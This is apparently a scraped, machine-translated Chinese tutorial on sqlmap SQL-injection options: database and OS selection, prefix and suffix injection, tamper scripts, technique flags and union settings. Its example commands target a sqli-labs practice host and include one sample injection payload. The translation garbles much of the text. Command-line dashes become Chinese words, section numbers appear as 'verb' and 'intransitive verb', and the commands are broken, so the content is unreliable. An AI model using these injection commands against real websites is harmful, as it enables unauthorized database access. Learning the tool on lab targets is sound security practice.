如何解析sqlmap注入参数

技术如何解析sqlmap注入参数这篇文章将为大家详细讲解有关如何解析sqlmap注入参数,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。一、指定数据库类型 --dbmsht

本文将详细说明如何分析sqlmap的注入参数。这篇文章的内容质量很高,所以边肖会分享给大家参考。希望你看完这篇文章后有所了解。

首先,指定数据库类型- dbms

http://192 . 168 . 1 . 121/sqli/Less-1/?id=1name=2 - dbms mysql - dbs

其次,指定操作系统

http://192 . 168 . 1 . 121/sqli/Less-1/?id=1name=2 - os windows - dbs

第三,解决编码问题

将所有结果转换为字符串,并用空格替换空结果。

第四,关闭串逸机制。

-不-逃跑

动词(verb的缩写)设置无效的值替换

-无效-bignum大整数替换

-无效-逻辑布尔运算替换

-无效字符串-随机字符串替换

不及物动词自定义进样位置

-前缀设置前缀

-后缀集后缀

sqlmap-u ' http://192 . 168 . 1 . 121/sqli/Less-1/?id=1' -前缀='')' -后缀='和'(abc'='abc' - dbs

payload:id=('1 ')和(' abc'='abc ')

七.设置篡改脚本

sqlmap-u ' http://192 . 168 . 1 . 121/sqli/Less-1/?id=1' -最少篡改. py,清漆. py' - dbs

八.设置dbms身份验证

sqlmap-u ' http://192 . 168 . 1 . 121/sqli/Less-1/?id=1 '-DBMS-cred=' root : root '-DBS

九.设置特定的sql注入技术

B技术布尔盲

技术误差注入

-U技术联合查询注入

-技术堆栈注入

时间盲测试技术

-Q技术内联查询注入

sqlmap-u ' http://192 . 168 . 1 . 121/sqli/Less-1/?id=1' -技术测试时间-秒-3-DBS

-时间-秒时间盲测时间是3。

X.指定联合字段的数量

sqlmap-u ' http://192 . 168 . 1 . 121/sqli/Less-1/?id=1' - union-cols 12-18 - dbs

十一、指定并集字符,默认为空。

sqlmap-u ' http://192 . 168 . 1 . 121/sqli/Less-1/?id=1' - union-char aaa - dbs

如何解析sqlmap注入参数,希望在这里分享。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/140994.html

(0)

相关推荐

  • Python基础知识-1.6数据类型

    技术Python基础知识-1.6数据类型 Python基础知识-1.6数据类型一、引入
    在数学中我们知道有整数、小数、复数等,简言之数据是有类型之分的
    同样,在Python编程语言中,数据也是有类型的

    礼包 2021年12月5日
  • 怎么在网上买鞋,怎样在网络上买到好品质的鞋子

    技术怎么在网上买鞋,怎样在网络上买到好品质的鞋子选择靠谱的网站:假若去淘宝买的话怎么在网上买鞋,不光要选择信誉高的店铺,还要看该店铺买家的评论,是否可以退换,卖家是否加入消保等。不能过于追求低价:在网上销售鞋的很多,但真

    生活 2021年10月30日
  • 树之设计【AVL树、红黑树的设计】

    技术树之设计【AVL树、红黑树的设计】 树之设计【AVL树、红黑树的设计】树之设计【AVL树、红黑树的设计】1,设计之初:? 思考:AVL树的意义:高度平衡二叉树,用来维持整棵树是一棵平衡的二叉树,那么

    礼包 2021年10月27日
  • visualstudio中的xaml是什么文件(xaml编辑器)

    技术Xamarin XAML语言中Visual Studio中怎么实现XAML这篇文章给大家介绍Xamarin XAML语言中Visual Studio中怎么实现XAML,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望

    攻略 2021年12月18日
  • 手机突然没声音了,手机来电没有声音怎么回事

    技术手机突然没声音了,手机来电没有声音怎么回事原因一:手机设置“静音模式”会造成来电没有声音手机突然没声音了,可以清除小喇叭符合调为响铃模式即可。 原因二:手机设置为“飞行模式”会造成无法接听,轻触关闭“飞行模式”按钮标

    生活 2021年10月31日
  • Python 列表

    技术Python 列表 Python 列表Python 集合(数组)
    Python 编程语言中有四种集合数据类型:
    列表(List)是一种有序和可更改的集合。允许重复的成员。列表是一个有序且可更改的集合

    礼包 2021年11月14日